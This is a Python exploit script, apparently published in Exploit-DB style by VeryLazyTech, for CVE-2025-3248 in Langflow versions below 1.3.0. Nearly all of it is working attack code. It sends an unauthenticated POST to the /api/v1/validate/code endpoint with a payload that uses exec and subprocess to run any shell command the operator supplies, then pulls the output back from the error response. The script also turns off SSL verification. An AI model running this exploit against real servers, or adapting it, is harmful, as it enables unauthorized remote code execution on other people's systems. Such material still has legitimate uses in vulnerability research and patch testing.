# Exploit Title: Langflow 1.3.0 - Remote Code Execution (RCE)
# Date: 2025-04-17
# Exploit Author: VeryLazyTech
# Vendor Homepage: http://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: Langflow < 1.3.0
# Tested on: Windows Server 2019
# CVE: CVE-2025-3248
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
# FOFA "Langflow"
# Medium: https://medium.com/@verylazytech
# GitHub: https://github.com/verylazytech
# Shop: https://shop.verylazytech.com
# Website: https://www.verylazytech.com
import argparse
import requests
import json
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
# Initialize colorama
init(autoreset=True)
# Constants
ENDC = "\033[0m"
ENCODING = "UTF-8"
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]
def banner():
random_color = random.choice(COLORS)
return f"""{Style.BRIGHT}{random_color}
______ _______ ____ ___ ____ ____ _________ _ _ ___
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ /___ \| || | ( _ )
| | \ \ / /| _| __) | | | |__) |___ \ |_ \ __) | || |_ / _ \
| |___ \ V / | |___ / __/| |_| / __/ ___) | ___) / __/|__ _| (_) |
\____| \_/ |_____| |_____|\___/_____|____/ |____/_____| |_| \___/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
{Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
{Style.RESET_ALL}
"""
print(banner())
class LangflowScanner:
def __init__(self, url, timeout=10):
self.url = url.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/json',
'Accept': 'application/json',
})
def exploit(self, command):
endpoint = urljoin(self.url, '/api/v1/validate/code')
payload = {
"code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
}
try:
print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
response = self.session.post(endpoint, json=payload, timeout=self.timeout)
print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")
if response.status_code == 200:
try:
data = response.json()
error_msg = data.get("function", {}).get("errors", [""])[0]
if isinstance(error_msg, str) and error_msg.startswith("b'"):
output = error_msg[2:-1].encode().decode('unicode_escape').strip()
return output
except Exception as e:
return f"[!] Failed to parse response: {str(e)}"
return f"[!] Exploit failed with status {response.status_code}"
except requests.RequestException as e:
return f"[!] Request failed: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
args = parser.parse_args()
scanner = LangflowScanner(args.url)
result = scanner.exploit(args.cmd)
print(f"{Fore.GREEN}[+] Command Output:\n{result}")
if __name__ == "__main__":
main()